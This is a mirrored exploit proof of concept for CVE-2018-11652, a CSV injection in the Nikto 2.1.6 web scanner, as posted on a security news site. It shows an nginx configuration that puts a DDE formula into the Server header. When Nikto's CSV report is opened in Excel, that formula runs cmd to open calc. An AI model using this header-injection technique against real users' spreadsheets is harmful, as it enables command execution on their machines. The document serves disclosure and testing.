首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Nikto 2.1.6 - CSV Injection
来源:vfocus.net 作者:Greenhill 发布时间:2018-06-28  
# Exploit Title: Nikto 2.1.6 - CSV Injection
# Google Dork: N/A
# Date: 2018-06-01 
# Exploit Author: Adam Greenhill
# Vendor Homepage: https://cirt.net/Nikto2
# Software Link: https://github.com/sullo/nikto
# Affected Version: 2.1.6, 2.1.5
# Category: Applications
# Tested on: Kali Linux 4.14 x64
# CVE : CVE-2018-11652
 
# Technical Description:
#  CSV Injection vulnerability in Nikto 2.1.6 and earlier allows remote attackers
# to inject arbitrary OS commands via the Server field in an HTTP response header,
# which is directly injected into a CSV report.
 
# PoC
# Install nginx and nginx-extras: apt-get install -y nginx nginx-extras
# Configure the nginx server as follows by editing the /etc/nginx/nginx.conf file:
 
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
 
events {
    worker_connections 768;
    # multi_accept on;
}
 
http {
    server_tokens off; # removed pound sign
    more_set_headers "Server: =cmd|' /C calc'!'A1'";
 
    server {
        listen 80;
 
        server_name localhost;
 
        location /hello {
            return 200 "hello world";
        }
    }
}
 
# Restart the server: service nginx restart
# Scan the nginx server with Nikto configured to output the results to a CSV file:
 
nikto -h <nginx address>:80 -o vuln.csv
 
# Open the resulting CSV file in Microsoft Excel and observe that CMD is attempting
# to execute
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Soroush IM Desktop App 0.15 (b
·Pale Moon Browser < 27.9.3 - U
·rtorrent 0.9.6 - Denial of Ser
·Audiograbber 1.83 - Local Buff
·DHCP Client - Command Injectio
·IPConfigure Orchid VMS 2.0.5 -
·glibc - 'realpath()' Privilege
·Opencart < 3.0.2.0 - Denial of
·WebKitGTK+ < 2.21.3 - 'WebKitF
·Foxit Reader 9.0.1.1049 - Remo
·Gnome Web (Epiphany) Denial Of
·KVM (Nested Virtualization) -
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved